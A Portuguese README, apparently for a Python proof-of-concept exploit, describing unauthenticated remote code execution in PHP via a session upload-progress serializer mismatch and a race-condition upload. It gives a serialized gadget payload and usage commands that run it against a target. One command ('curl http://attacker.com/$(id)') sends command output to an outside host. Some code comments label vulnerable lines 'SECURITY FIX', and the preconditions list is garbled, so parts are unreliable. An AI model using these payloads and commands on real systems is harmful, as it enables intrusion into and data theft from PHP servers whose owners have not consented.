
PoC em Python que explora a CVE-2026-115560, uma incompatibilidade entre o manipulador de serialização do progresso de upload de sessão do PHP que permite injeção de objetos não autenticada e RCE por meio de um upload com condição de corrida.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-115560 |
| Fornecedor | The PHP Group |
| Versões Afetadas | PHP 7.x, 8.0 – 8.4.x (todas as builds com a configuração padrão session.upload_progress) |
| Versão Corrigida | Sem patch — mitigação oficial: session.upload_progress.enabled=0 |
| Aviso | Aviso informativo php.net 2026-10-23 |
| CVSS 3.1 | 9.8 Crítico |
| CWE | CWE-502 — Desserialização de Dados Não Confiáveis |
| Vetor de Ataque | Rede |
| Autenticação Necessária | Nenhuma (não autenticado) |
| Impacto | Execução Remota de Código Não Autenticada via injeção de objeto PHP |
| Pré-condições | session.upload_progress.enabled=1 (padrão do PHP) + aplicação troca o serializador em tempo de execução |
CVE-2026-115560 é uma vulnerabilidade de Execução Remota de Código não autenticada na extensão de sessão do PHP, divulgada em 2026-10-23 — dois dias após as versões emergenciais do PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Ela afeta qualquer aplicação PHP em que todas as três pré-condições sejam satisfeitas simultaneamente:
php.ini configura session.serialize_handler = php_binary ou session.serialize_handler = php_serializeini_set('session.serialize_handler', 'php') antes de session_start()session.upload_progress.enabled = 1 (o padrão do PHP)A causa raiz é uma incompatibilidade de serialize-handler: o subsistema de progresso de upload de sessão do PHP é executado antes do RINIT (antes de qualquer código da aplicação) e grava o arquivo de sessão usando o handler configurado no servidor (php_serialize). Quando a aplicação subsequentemente troca para o handler php e chama session_start(), ela lê de volta o arquivo de sessão usando o desserializador php, que divide no primeiro caractere | e desserializa tudo o que vem depois dele.
Como o atacante controla o valor do campo POST PHP_SESSION_UPLOAD_PROGRESS — que o PHP armazena como uma chave de array não sanitizada no arquivo de sessão — ele pode injetar um | seguido de um objeto PHP serializado arbitrário. O handler php o desserializa, acionando cadeias de gadgets __destruct / __wakeup e alcançando RCE.
O exploit é um ataque concorrente de duas requisições: uma requisição envia lentamente um upload de arquivo grande (mantendo a chave de sessão maliciosa viva no arquivo de sessão), enquanto uma segunda requisição lê a sessão, acionando a desserialização. Com o session.upload_progress.cleanup=1 padrão, a janela de corrida é mantida aberta durante toda a duração do upload — alcançável na faixa de 13–38 segundos com um corpo de vários MB.
php-src/ext/session/session.c php-src/main/rfc1867.c
───────────────────────────── ──────────────────────
php_session_rfc1867_callback() MULTIPART_EVENT_FILE_START
└─ php_rinit_session(0) PS(serializer) = server ini (php_serialize)
└─ php_session_rfc1867_update()
└─ php_session_flush(1) ← writes session file with php_serialize
key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
value = array(start_time, current_file, ...)
--- (upload still in flight) ---
Application code (application.php):
ini_set('session.serialize_handler', 'php') // SECURITY FIX: CWE-502 -- ini switch creates mismatch
session_start()
└─ PS_SERIALIZER_DECODE_FUNC(php)
splits at first '|'
unserialize(everything after '|') ← attacker-controlled gadget chain
__destruct() fires → RCE
a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
^
php handler splits here and unserializes the rest
/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
/* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
if (event == MULTIPART_EVENT_FILE_START) {
php_rinit_session(0); // uses server-configured serialize_handler
}
if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
php_session_rfc1867_update(progress, 1); // writes with server handler
// PS(session_status) = php_session_none — not locked against handler re-init
}
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php'); // switches handler AFTER rfc1867 write
session_start(); // reads back with 'php', deserializes mismatch
flowchart LR
A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
F -->|__destruct fires| G([RCE\ncode execution as www-data])
style A fill:#1a0810,color:#e94560
style G fill:#1a0810,color:#e94560
style F fill:#3d0015,color:#fff
style D fill:#1a2010,color:#7ec8a0
pip install -r requirements.txt
# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v
# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v
# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
--gadget ExecOnDestruct --upload-size 8 -o result.json
# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure